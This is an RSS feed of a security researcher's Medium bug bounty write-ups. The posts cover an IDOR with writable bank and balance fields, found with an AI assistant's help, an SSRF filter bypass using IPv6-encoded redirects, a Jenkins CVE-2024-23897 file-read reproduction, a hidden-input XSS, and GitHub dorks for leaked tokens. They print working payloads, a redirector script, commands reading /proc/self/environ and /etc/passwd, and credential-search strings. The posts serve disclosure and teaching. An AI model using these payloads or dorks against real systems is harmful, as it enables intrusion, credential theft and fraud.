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    <channel>
        <title><![CDATA[Stories by Red Darkin on Medium]]></title>
        <description><![CDATA[Stories by Red Darkin on Medium]]></description>
        <link>https://medium.com/@red_darkin?source=rss-a40f7d301d8e------2</link>
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            <title>Stories by Red Darkin on Medium</title>
            <link>https://medium.com/@red_darkin?source=rss-a40f7d301d8e------2</link>
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        <lastBuildDate>Fri, 20 Nov 2026 04:55:48 GMT</lastBuildDate>
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        <item>
            <title><![CDATA[How I Found a Critical Bug Using Claude Desktop (Free)]]></title>
            <link>https://medium.com/@red_darkin/how-i-found-a-critical-bug-using-claude-desktop-free-a626e8f3ed67?source=rss-a40f7d301d8e------2</link>
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            <category><![CDATA[claude]]></category>
            <category><![CDATA[idor]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[ai]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Red Darkin]]></dc:creator>
            <pubDate>Thu, 23 Apr 2026 17:38:55 GMT</pubDate>
            <atom:updated>2026-04-23T17:38:55.349Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>TL;DR:</strong> I fed a JavaScript bundle to <strong>Claude Desktop </strong>(I use Burp MCP with Claude). It mapped hidden endpoints I’d missed after multiple reviews. That single nudge led me down a rabbit hole: predictable user IDs leaking PII of high-profile individuals, and write operations that allowed fund redirection, email hijacking, and balance manipulation. The AI didn’t find the bug — but it handed me the flashlight.</p><p><em>Fun fact: I had reviewed this JavaScript file multiple times before without catching the vulnerable endpoint. It wasn’t until I fed the code to </em><strong><em>Claude </em></strong><em>that it mapped out the endpoint structure and helped me craft a valid request. The AI didn’t find the vulnerability itself — but it gave me the exact lens I needed to see what had been hiding in plain sight all along.</em></p><h3>The Target</h3><p>A private bug bounty program for a fitness company. Think celebrities, athletes, and executives as users. The platform handles memberships, payouts, and partner programs — real money flowing through real APIs.</p><p>The program name stays redacted. You know the rules.</p><h3>Step 1: Let the AI Read What I Couldn’t See</h3><p>I’m a firm believer in reading JavaScript manually. Automated scanners are great, but they don’t <em>think</em>. The problem? Sometimes neither do I — at least not after staring at the same minified bundle for the third time.</p><p>So I tried something different. I dropped the JS file into Claude and asked it to analyze the code, enumerate API endpoints, craft request and identify anything interesting.</p><p>Within seconds, it came back with a structured breakdown: endpoint paths, HTTP methods, parameter schemas, and even built me a valid POST request to test one particularly juicy route tied to a financial feature.</p><p>I had literally been looking at this same code. Multiple times. And missed it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/774/1*UyhbxUOpTC59hq2eWqXALg.png" /></figure><p>Lesson learned: <strong>sometimes a second pair of eyes doesn’t need to be human.</strong></p><h3>Step 2: The IDOR — “Wait, That’s Not My Account”</h3><p>Armed with the AI-crafted request, I hit the endpoint using my own account ID — a simple numeric value. The response was generous:</p><pre>→ Full name<br>→ Email address<br>→ Bank account identifier<br>→ Account balance<br>→ Internal account status</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/1*p4iVv_yXz_7GLe2qMeoY7w.png" /></figure><p>Cool. Now let me just change that ID by one…</p><p>Same data. Different person. No authorization check. The server didn’t care <em>who</em> was asking — only <em>what</em> ID was provided.</p><p>I kept incrementing. Every single request returned a complete profile with financial details. And the accounts I was seeing? These weren’t test users. These were <strong>high-profile individuals</strong> — the kind of people whose data breach makes headlines.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/483/1*ZHGMErDEPJfMM3Z4WVyDvw.png" /></figure><h3>Step 3: “Can I Write Too?” — Spoiler: Yes</h3><p>A read-only IDOR is already critical when you’re leaking bank details of public figures. But I wanted the full picture.</p><p>I went back to the AI assistant, this time asking it to help me understand which parameters the endpoint would accept for modification. It helped me map the writable fields based on the JS source.</p><p>Then I tested three things:</p><p><strong>Fund Redirection</strong> — I modified the bank account parameter. The server accepted it. Just like that, payouts could be rerouted to any account. Mine, yours, anyone’s.</p><p><strong>Email Hijacking</strong> — Changed the email field on a target account. Now trigger a password reset, catch it on your inbox, and you own the account. Classic, devastating, and entirely preventable.</p><p><strong>Balance Manipulation</strong> — This one surprised even me. The balance field was writable. I could set it to zero. I could set it to a million. The server said “sure, sounds good” every single time.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*spuaEMt3oovQVrrmwT6u8A.png" /></figure><h3>The Kill Chain</h3><pre>Read JS with AI assistance → Discover hidden endpoint + valid request structure<br>      ↓<br>Send POST with sequential ID → Full PII of any user<br>      ↓<br>Enumerate IDs → Mass data exfiltration<br>      ↓<br>Modify bank account → Redirect funds<br>Modify email → Account takeover<br>Modify balance → Financial fraud</pre><p>One JavaScript file. One AI conversation. Total compromise.</p><h3>Why This Happened</h3><p>Three classic failures stacked on top of each other:</p><p><strong>No authorization.</strong> The API trusted the client to only ask for its own data. Spoiler: attackers don’t follow the honor system.</p><p><strong>Predictable IDs.</strong> Sequential integers as user identifiers. Enumeration was as simple as a for loop.</p><p><strong>Mass assignment.</strong> The API let clients write to fields that should never be client-controlled — bank accounts, emails, balances. No allowlist, no validation, no separate workflow for sensitive changes.</p><h3>The AI Factor</h3><p>I want to be transparent about this because I think it matters for the community.</p><p>The AI didn’t “hack” anything. It didn’t exploit the vulnerability or even flag it as a security issue. What it did was <strong>process information faster and more systematically than I could on my fourth pass through minified JavaScript.</strong></p><p>It enumerated every endpoint, organized them by HTTP method, identified parameter structures, and built me a working request. That’s the kind of grunt work that usually takes an hour of squinting at obfuscated code — done in seconds.</p><p>The vulnerability discovery, the intuition to test for write access, the escalation strategy — that was all human judgment. But the starting point? That came from an AI reading code I’d already given up on.</p><p><strong>If you’re not using AI as part of your recon workflow, you’re leaving bugs on the table. In my case a 4 digits bug.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/643/1*F_QODV-wvwa4XMrc3s5Z2A.png" /></figure><h3>Final Thoughts</h3><p>Read the JavaScript and go deep in your target. If you’ve already read it — feed it to an AI and read it again. The bugs aren’t hiding in the code you haven’t seen. They’re hiding in the code you’ve already looked at and dismissed.</p><p>After this i definitely bought Claude Pro subscription.</p><p>And when you find a read, always check for a write. That’s where the severity jumps from “interesting” to “bugbounty journey-defining.”</p><p>Happy hunting.</p><p><em>If you found this write-up useful, feel free to connect with me. I’m always happy to discuss methodology, share recon tips, or just talk.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a626e8f3ed67" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[A Real SSRF Story from HackerOne (Featuring IPv6 + Redirects)]]></title>
            <link>https://medium.com/@red_darkin/a-real-ssrf-story-from-hackerone-featuring-ipv6-redirects-9aa5e2ad8c2e?source=rss-a40f7d301d8e------2</link>
            <guid isPermaLink="false">https://medium.com/p/9aa5e2ad8c2e</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[ssrf]]></category>
            <category><![CDATA[bug-bounty-reports]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Red Darkin]]></dc:creator>
            <pubDate>Wed, 15 Apr 2026 18:11:40 GMT</pubDate>
            <atom:updated>2026-04-15T18:35:30.755Z</atom:updated>
            <content:encoded><![CDATA[<p>In the world of web security, even the most seemingly harmless features like webhooks can hide critical vulnerabilities. In this article, we take a deep dive into a <strong>Server-Side Request Forgery (SSRF)</strong> bug discovered in a webhook implementation. What made this case especially interesting is that exploitation was only possible by chaining <strong>IPv6</strong> behavior with <strong>redirection </strong>tricks. Here’s a technical breakdown of how my good friend <a href="https://hackerone.com/madara_"><em>madara_ </em></a>and <a href="https://hackerone.com/red_darkin"><em>I</em></a> identified and exploited this vulnerability.</p><p>In modern applications, features like webhooks are everywhere. They enable automation, integrations, and real-time workflows.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2idgc4z5_W9OwGh5Ug1p5A.png" /><figcaption>Vulnerable feature</figcaption></figure><p>But they also introduce something dangerous:</p><blockquote><strong><em>You are letting your server make requests on behalf of the user.</em></strong></blockquote><p>And that’s exactly where things start to break.</p><p>This is the story of how a seemingly “secure” webhook implementation led to a <strong>Server-Side Request Forgery (SSRF) </strong>using a combination of <strong>IPv6 encoding </strong>and <strong>redirect abuse</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/923/1*g52wwpPbD78u3-wykfvczA.png" /></figure><p><strong>First, What is SSRF (Quickly) …</strong><br>A Server-Side Request Forgery happens when an attacker tricks a server into sending requests to unintended destinations, such as:</p><ul><li>Internal services (127.0.0.1)</li><li>Private APIs</li><li>Cloud metadata endpoints</li><li>Admin interfaces</li></ul><p>Instead of attacking directly, you let the server do the work for you.</p><h4>The Entry Point: A Webhook Feature</h4><p>While testing a target on HackerOne, we found a webhook functionality. Nothing unusual. Until we noticed:</p><ul><li>It accepted user-controlled URLs</li><li>It triggered server-side requests</li><li>It had some filtering in place</li></ul><p>At first glance, it looked hardened.</p><h4>Initial Behavior</h4><p>The application had protections:</p><ul><li>Blocking internal IPs in decimal format (like 127.0.0.1)</li><li>Filtering common SSRF payloads</li><li>Allowing redirection but still blocking internal IPs in decimal format</li></ul><p>So… no direct SSRF.</p><p>But then we focus test something simple: <strong>Redirects</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/701/1*OssJE5O4VaxtmhCqR4aWFQ.png" /></figure><p>We discovered the backend followed redirects automatically but it did not re-validate the destination, this is a classic mistake, so instead of targeting internal resources directly, we tried:<br><a href="http://attacker.com/"><em>http://attacker.com</em></a> → redirect → internal resource (decimal) → Still blocked.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/665/1*0vTojFgVh6ttUXqJ5hllow.png" /></figure><p>So we went deeper.</p><h4>The Breakthrough: IP Representation Tricks</h4><p>Filters often block this:<br>127.0.0.1</p><p>But forget that the same IP can be written differently.<br>[::ffff:7f00:1]</p><p>This is basically encode IPv4 as IPv6… And the filter? didn’t catch it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/316/1*JEcMV81d-pMQ57w68A68mw.png" /><figcaption>Full Exploit Chain</figcaption></figure><p>This is the redirector file we used to check the vulnerability exists.</p><pre>&lt;?php<br>header(&quot;Access-Control-Allow-Origin: *&quot;);<br>header(&quot;Access-Control-Allow-Methods: GET, POST, PUT, DELETE&quot;);<br>header(&quot;Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept&quot;);<br>header(&quot;Content-Type: application/json&quot;);<br>header(&quot;Location: http://[::ffff:a9fe:a9fe]&quot;);<br>?&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/937/1*Jj7uUSA7_S0JKWSqfmt5iw.png" /><figcaption>Moment when we realized the SSRF was possible.</figcaption></figure><p>Once we realized we had a window into the internal infrastructure, the obvious next step was clear: port scanning, but the system had other plans.</p><p>The webhook responses were painfully inconsistent… delays everywhere, no reliable timing, no clean signals. Open ports, closed ports… everything looked the same. Automation was useless.</p><p>So we adapted.</p><p>Instead of relying on tools, we went manual; slow, deliberate, and focused. We started probing well-known ports one by one, looking for anything that behaved differently.</p><p>It wasn’t fast. But it worked.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aquvlYyKS8pnn0hm1pKJ4Q.png" /></figure><p><strong>Open ports discovered:</strong></p><ul><li>5000</li><li>5012</li><li>8090</li><li>8126</li><li>24220</li></ul><p>This is where things get interesting. Internal services often expose:</p><ul><li>Debug endpoints</li><li>Admin panels</li><li>Internal APIs</li><li>Metrics systems</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/981/1*fnDYDPIkNM_1rSnU9bD_Qw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OT7dcojSx1AcTvSNXllc2Q.png" /></figure><p>Along the way, we also discovered that even after the redirect, it was still possible to bypass the filtering mechanisms using alternative IP representations like octal and IPv6.</p><p>To streamline the exploitation, we ended up using a payload like:</p><p>https://ourserver/h1/redirector.php?url=http://[::ffff:7f00:1]:§5000§</p><p>This bug wasn’t about breaking a system. It was about understanding it better than it understands itself. The filter didn’t fail because it was weak, it failed because it was incomplete.</p><h3>Timeline</h3><ul><li>Jan 2, 2024 — Report submitted</li><li>Jan 3 — “Need more info”</li><li>Jan 8 — Triaged</li><li>Jan 9 — “Please don’t escalate further…” 😅</li><li>Jan 10 — Severity downgraded</li><li>Jan 16 — $2,500 bounty</li><li>Jan 30 — Disclosure [Report <a href="https://hackerone.com/reports/2301565"><em>Here</em></a>]</li></ul><p>More detailed slides about SSRF bypass Techniques click <a href="https://github.com/Red-Darkin/h1-Comunity-Colombia---Slides/blob/main/SSRF.pdf"><em>here</em></a></p><h3>Credits</h3><p>Big shoutout to <a href="https://hackerone.com/madara_"><strong>madara_</strong> </a>for teaming up on this one.</p><p>And remember It’s never just about the bug, it’s about how far you can push it.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9aa5e2ad8c2e" width="1" height="1" alt="">]]></content:encoded>
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        <item>
            <title><![CDATA[How to replicate Jenkins CVE-2024–23897: Arbitrary File Read Vulnerability]]></title>
            <link>https://medium.com/@red_darkin/how-to-replicate-jenkins-cve-2024-23897-arbitrary-file-read-vulnerability-260c8174dd94?source=rss-a40f7d301d8e------2</link>
            <guid isPermaLink="false">https://medium.com/p/260c8174dd94</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[cve-2024-23897]]></category>
            <category><![CDATA[jenkins]]></category>
            <category><![CDATA[offsec]]></category>
            <dc:creator><![CDATA[Red Darkin]]></dc:creator>
            <pubDate>Tue, 30 Jan 2024 22:26:26 GMT</pubDate>
            <atom:updated>2024-01-30T22:26:26.619Z</atom:updated>
            <content:encoded><![CDATA[<p>In this story, I’ll guide you through effortlessly replicating the latest Jenkins-related CVE. But before we jump into action, let’s take a closer look at this vulnerability. 🔍🌐 Ready for the ride? Buckle up! 🚀</p><p>Jenkins uses command arguments and options through the <a href="https://github.com/kohsuke/args4j"><strong>args4j</strong> </a>library, parsing CLI commands on the controller. The command parser, by default, swaps an ‘<strong>@</strong>’ character followed by a file path in an argument with the file’s contents using the expandAtFiles feature. This feature is enabled by default and <strong>Jenkins 2.441</strong> and earlier, <strong>LTS 2.426.2</strong> and earlier does not disable it.</p><p>It is crucial to note that when the “<strong>Allow anonymous read access</strong>” option is enabled, it gives us the ability to read the entire file. On the other hand, if it is not enabled, only the first line of the file can be accessed through a command line error. 🤔🤔🤔</p><h4>Let’s Get Our Hands Dirty 💻💻</h4><p>Now, let’s roll up our sleeves and build the environment. To make it happen, we’ll need:</p><ul><li>Docker and Docker-compose</li><li>Kali Linux or any Linux-based system</li><li>A docker-compose.yml file [Bellow code]</li></ul><pre>version: &#39;2.2&#39;<br>services:<br>  jenkins:<br>    image: vulhub/jenkins:2.441<br>    ports:<br>      - &quot;50000:50000&quot;<br>      - &quot;8080:8080&quot;<br>      - &quot;5005:5005&quot;<br>    init: true<br>    environment:<br>      - DEBUG=1</pre><p>To kickstart our vulnerable instance, let’s spark things up with the following command. (Default administrator’s username and password are admin and vulhub)</p><pre>docker-compose -f docker-compose.yml --compatibility up -d</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ey9gXi_5O6ARJCSQ0i-LfA.png" /><figcaption>Access to <a href="http://localhost:8080/">http://localhost:8080</a> to verify that everything is ok.</figcaption></figure><p>Before to exploitation phase, you must download the Jenkins command-line client jenkins-cli.jar from <a href="http://localhost:8080/jnlpJars/jenkins-cli.jar">http://localhost:8080/jnlpJars/jenkins-cli.jar</a> <br>Be sure this file is in your current directoy</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/625/1*IGFahK55OfTc0mDKIo3NeQ.png" /><figcaption>jenkins-cli.jar</figcaption></figure><h4>Exploitation time <a href="https://www.google.com/url?sa=t&amp;rct=j&amp;q=&amp;esrc=s&amp;source=web&amp;cd=&amp;ved=2ahUKEwiv99HnkYaEAxXnQjABHSumA2EQFnoECBwQAQ&amp;url=https%3A%2F%2Femojipedia.org%2Fes%2Fninja&amp;usg=AOvVaw3eblFFbLlYTHT1n5ANnZkD&amp;opi=89978449">🥷</a>💻</h4><p>Now to see how this works run the follow command</p><pre>java -jar jenkins-cli.jar -s http://localhost:8080/ -http connect-node &quot;@/proc/self/environ&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tFPKlHMcfTbj0N9jpibWKQ.png" /><figcaption>@/proc/self/environ</figcaption></figure><p>let’s see the behavior if we disable “Allow anonymous read access”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ebt7gsDEL_OGnGmCEvGOmA.png" /><figcaption>Missing Overal/Read permission</figcaption></figure><p>However, using the follow command, we can still read the first line.</p><pre>java -jar jenkins-cli.jar -s http://localhost:8080/ -http help 1 &quot;@/proc/self/environ&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wIBzQtQH9Mw4OBrmuHSNuQ.png" /></figure><p>Modifying a argument for http flag (-http), anoticeable behavior emerges when adding help 1 revealing a single line, whereas using help displays two lines.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4ykabTLwu8VL6YuLNMoYZQ.png" /></figure><p>Finally, enable again “Allow anonymous read access” to full read of /etc/passwd</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YTxgc91rxModMEkPd29FhQ.png" /><figcaption>/etc/passwd</figcaption></figure><p>To disable this option on your servers you must follow the following path and uncheck the box<br>Login in your Jenkin instance &gt; Manage Jenkins &gt; Security</p><p>Thank you very much for taking the time to read and learn with me. Feel free to send me a message if you have any questions. 🤗🤗🤗</p><p>References:<br>https://github.com/vulhub/vulhub/tree/574ce69bfa2292952cdc4ab0822679127dc173c2/jenkins/CVE-2024-23897<br><a href="https://www.jenkins.io/security/advisory/2024-01-24/#SECURITY-3314">https://www.jenkins.io/security/advisory/2024-01-24/#SECURITY-3314</a><br><a href="https://mp.weixin.qq.com/s/2a4NXRkrXBDhcL9gZ3XQyw">https://mp.weixin.qq.com/s/2a4NXRkrXBDhcL9gZ3XQyw</a></p><p>PoC by <a href="https://medium.com/u/ddfff40fe2">h4x0r_dz</a></p><p><a href="https://github.com/h4x0r-dz/CVE-2024-23897">GitHub - h4x0r-dz/CVE-2024-23897: CVE-2024-23897</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=260c8174dd94" width="1" height="1" alt="">]]></content:encoded>
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            <title><![CDATA[Reflected Cross-Site Scripting in Hidden Input Fields]]></title>
            <link>https://medium.com/@red_darkin/reflected-cross-site-scripting-in-hidden-input-field-0c8bf8fa43f9?source=rss-a40f7d301d8e------2</link>
            <guid isPermaLink="false">https://medium.com/p/0c8bf8fa43f9</guid>
            <category><![CDATA[cross-site-scripting]]></category>
            <category><![CDATA[xss-vulnerability]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[xss-attack]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Red Darkin]]></dc:creator>
            <pubDate>Fri, 06 Oct 2023 21:28:38 GMT</pubDate>
            <atom:updated>2023-10-06T21:37:31.676Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>About XSS?<br></strong>Cross-Site Scripting is a type of vulnerability that allows an attacker to inject JavaScript code into an application, deceiving the application into treating it as legitimate code. This can be exploited for malicious purposes, including stealing session cookies, credentials, credit card information, and more.</p><p><strong>How did I discover it?<br></strong>I embarked on a cybersecurity adventure by selecting a VDP with an extensive scope. With curiosity as my guide, I randomly picked an endpoint, only to find it leading to yet another. But instead of turning back, I thought, ‘Let’s fuzzing; who knows what intriguing discoveries lie ahead?<br>After examining several routes, I determined that the application was built using the .NET framework. This led me to perform fuzzing again, but this time using extensions such as .asp and .aspx.</p><figure><img alt="Fuzzing" src="https://cdn-images-1.medium.com/max/756/1*hRJbKC9YCf8Frso34OVKIA.png" /><figcaption>Fuzzing with extensions</figcaption></figure><p>Upon visiting the page, an intriguing message, ‘<strong>Invalid request was submitted.</strong>’ caught my eye, seemingly devoid of any functions. Yet, the response, as revealed by ffuf, displayed a Content-Length of 2676. This prompted me to delve into the source code, driven by curiosity.</p><pre>&lt;form name=&quot;frmMain&quot; action=&quot;/refer.asp&quot; method=&quot;post&quot;&gt;<br>  &lt;input id=&quot;l&quot; name=&quot;hOK&quot; type=&quot;HIDDEN&quot; value=&quot;&quot;&gt;  <br>  &lt;input type=&quot;hidden&quot; name=&quot;l&quot; value=&quot;&quot;&gt;<br>&lt;/form&gt;</pre><p>While examining the source code, it was clear that the form was designed to be submitted using the POST method. Yet, curiosity led us to wonder: what if we attempted to send it using GET? The result was rather unexpected — the request was accepted</p><p>At that moment, a memory stirred — Gareth Heyes’ article on XSS lurking within hidden parameters. Intrigued, I revisited it with a fresh perspective, setting out to craft the perfect payload.</p><p><a href="https://portswigger.net/research/xss-in-hidden-input-fields">XSS in hidden input fields</a></p><p>After experimenting with some payloads, success came knocking as I managed to trigger the much-sought-after popup using the following payload:</p><pre>l=default&quot; accesskey=&quot;X&quot; onclick=&quot;alert(document.domain)</pre><p>It’s worth highlighting that for this vector to work, we need to convince the user to press a specific key combination. In Firefox on Windows/Linux, it’s ALT+SHIFT+X, and on OS X, it’s CTRL+ALT+X.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/817/1*1k3UJ1_eHyHDsq7xZ9Y0og.png" /></figure><p>In the source code, it would appear somewhat like this:</p><pre>#Before Inject<br>&lt;input type=&quot;hidden&quot; name=&quot;l&quot; value=&quot;&quot;&gt;<br><br>#After Inject<br>&lt;input type=&quot;hidden&quot; name=&quot;l&quot; value=&quot;default&quot; accesskey=&quot;X&quot; onclick=&quot;alert(document.domain)&quot;&gt;</pre><p><em>An interesting takeaway from this journey was the encounter with several 400 errors. Despite these hurdles, I managed to unearth an XSS vulnerability. The lesson here? Don’t always take HTTP status codes like 400, 404, or 500 at face value. Keep forging ahead in your quest, and happy hunting!</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0c8bf8fa43f9" width="1" height="1" alt="">]]></content:encoded>
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            <title><![CDATA[P1 Bug — Leaked Zendesk Token in GitHub]]></title>
            <link>https://medium.com/@red_darkin/p1-bug-leaked-zendesk-token-in-github-46e97b734e8d?source=rss-a40f7d301d8e------2</link>
            <guid isPermaLink="false">https://medium.com/p/46e97b734e8d</guid>
            <category><![CDATA[osint]]></category>
            <category><![CDATA[bugbounty-writeup]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Red Darkin]]></dc:creator>
            <pubDate>Fri, 25 Nov 2022 15:27:30 GMT</pubDate>
            <atom:updated>2022-11-25T15:27:30.361Z</atom:updated>
            <content:encoded><![CDATA[<h3>P1 Bug — Leaked Zendesk Token in GitHub</h3><h3>Version en Español</h3><p>Este es un pequeño review de como con las palabras correctas y con un poco de paciencia se puede encontrar información valiosa en github.</p><p>Cuando sientas que no encuentras algun bug puedes aventurarte en GitHub y encontrar información importante, Inspirado en <a href="https://twitter.com/GodfatherOrwa">@GodfatherOrwa</a> y sus tweets hablando sobre “pescar en río revuelto”, decidí realizar una busqueda con algunos GithubDorks, relacionados a credenciales de AWS, tokens de Slack, credenciales de jfrog, entre otras cosas. Después de un tiempo (1 hora aprox.) encontré varias credenciales válidas, y pensé que sería buen momento para ver los programas disponibles en Hackerone y ver si podía reportar algo.</p><h3>Token de Zendesk Válido</h3><p>Cómo el programa es privado, asumiremos <strong><em>example.com</em></strong> como el dominio de la compañía.</p><p>Despues de otra hora de busqueda en github nos encontramos con una información valiosa con el siguiente dork:</p><pre>&quot;example.com&quot; ZENDESK_TOKEN</pre><p>Voilà, encontramos el token de zendesk de la compañía.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/778/1*VramM7vg9E27V-gR_Y-eyw.png" /></figure><p>Ahora necesitamos validar que es un token válido y si es así, reportar inmediatamente. Para esto nos ayudamos de <a href="https://github.com/streaak/keyhacks">Keyhacks</a> y con el siguiente comando curl validar si el token sigue activo. Al estar activo logré el control total sobre el zendesk de la compañía.</p><pre>curl https://{target}.zendesk.com/api/v2/users.json \  -u support@{target}.com/token:{here your token}<br></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pHmpWcCptTZ2uNnWRVcptg.png" /></figure><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2Fcfda6jKwDNjy2SpPfJ%2Fvideo&amp;display_name=GIPHY&amp;url=https%3A%2F%2Fgiphy.com%2Fclips%2Fthefastsaga-fast-and-furious-tokyo-drift-cfda6jKwDNjy2SpPfJ&amp;image=https%3A%2F%2Fmedia1.giphy.com%2Fmedia%2Fcfda6jKwDNjy2SpPfJ%2Fgiphy.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=giphy" width="480" height="270" frameborder="0" scrolling="no"><a href="https://medium.com/media/a0c54ef4b4f069e40de835dba0d68125/href">https://medium.com/media/a0c54ef4b4f069e40de835dba0d68125/href</a></iframe><p>Hice el respectivo reporte como crítico y recibí un bounty de 1200 dolares. El equipo renovó el token, bajó el repositorio y realizó su respectivas validaciones internas descartando alguna actividad maliciosa.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/299/1*pIw77EvkJy71sXy_DkS_Qg.png" /></figure><p>Algunos GitHub Dorks que suelo utilizar:</p><pre>“company name” ZENDESK_TOKEN<br>&quot;company name&quot; AWS_ACCESS_KEY_ID<br>&quot;company name&quot; AWS_SECRET_ACCESS_KEY<br>&quot;company name&quot; GITHUB_USERNAME<br>&quot;company name&quot; AUTH_TOKEN <br>&quot;company name&quot; SENDGRID_TOKEN<br>&quot;company name&quot; DISCORD_TOKEN<br>&quot;company name&quot; PAYPAL_API_SECRET_KEY<br>&quot;company name&quot; HEROKU_APP_NAME<br>&quot;company name&quot; SALESFORCE_USERNAME<br>&quot;company name&quot; API_KEY</pre><p>Un Story de Orwa Atyat (GodfatherOrwa)</p><p><a href="https://orwaatyat.medium.com/your-full-map-to-github-recon-and-leaks-exposure-860c37ca2c82">Your Full Map To Github Recon And Leaks Exposure</a></p><p>Si tienen alguna inquietud no duden en preguntar.</p><h3>English Version</h3><p>This is a short review of how with the right words and a little of patience you can find leaked information on github.</p><p>Inspired by <a href="https://twitter.com/GodfatherOrwa">@GodfatherOrwa</a> and his tweets talking about “fishing in troubled waters”, I decided to do a search with some GithubDorks, related to AWS credentials, Slack tokens, jfrog credentials, among other things. After a while (around 1 hour) I found several valid credentials, and I thought it would be a good idea looking at the programs available on Hackerone and I could report something.</p><h3>Leaked Zendesk Token</h3><p>As the program is private, we will assume <strong><em>company.com</em></strong> as the company’s domain</p><p>After another hour of searching in github we found some cool information with the following dork:</p><pre>&quot;company.com&quot; ZENDESK_TOKEN</pre><p><em>Voilà</em>, we found the company’s zendesk token.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/778/1*VramM7vg9E27V-gR_Y-eyw.png" /></figure><p>Now we need to validate that it is a valid token and if so, report it immediately. For this we use <a href="https://github.com/streaak/keyhacks">Keyhacks</a> and with the following curl command validate if the token is still active. By being active I got full control over the company’s zendesk.</p><pre>curl https://{target}.zendesk.com/api/v2/users.json \  -u support@{target}.com/token:{here your token}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pHmpWcCptTZ2uNnWRVcptg.png" /></figure><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2Fcfda6jKwDNjy2SpPfJ%2Fvideo&amp;display_name=GIPHY&amp;url=https%3A%2F%2Fgiphy.com%2Fclips%2Fthefastsaga-fast-and-furious-tokyo-drift-cfda6jKwDNjy2SpPfJ&amp;image=https%3A%2F%2Fmedia1.giphy.com%2Fmedia%2Fcfda6jKwDNjy2SpPfJ%2Fgiphy.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=giphy" width="480" height="270" frameborder="0" scrolling="no"><a href="https://medium.com/media/a0c54ef4b4f069e40de835dba0d68125/href">https://medium.com/media/a0c54ef4b4f069e40de835dba0d68125/href</a></iframe><p>I reported it as critical and received a $1200 bounty. The team renewed the token, deleted the repository and performed their respective internal validations to rule out any malicious activity.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/299/1*pIw77EvkJy71sXy_DkS_Qg.png" /></figure><p>Some GitHub Dorks that I usually use:</p><pre>“company name” ZENDESK_TOKEN<br>&quot;company name&quot; AWS_ACCESS_KEY_ID<br>&quot;company name&quot; AWS_SECRET_ACCESS_KEY<br>&quot;company name&quot; GITHUB_USERNAME<br>&quot;company name&quot; AUTH_TOKEN <br>&quot;company name&quot; SENDGRID_TOKEN<br>&quot;company name&quot; DISCORD_TOKEN<br>&quot;company name&quot; PAYPAL_API_SECRET_KEY<br>&quot;company name&quot; HEROKU_APP_NAME<br>&quot;company name&quot; SALESFORCE_USERNAME<br>&quot;company name&quot; API_KEY</pre><p>A Medium Story by Orwa Atyat (GodfatherOrwa)</p><p><a href="https://orwaatyat.medium.com/your-full-map-to-github-recon-and-leaks-exposure-860c37ca2c82">Your Full Map To Github Recon And Leaks Exposure</a></p><p>If you have any questions, just ask.</p><img 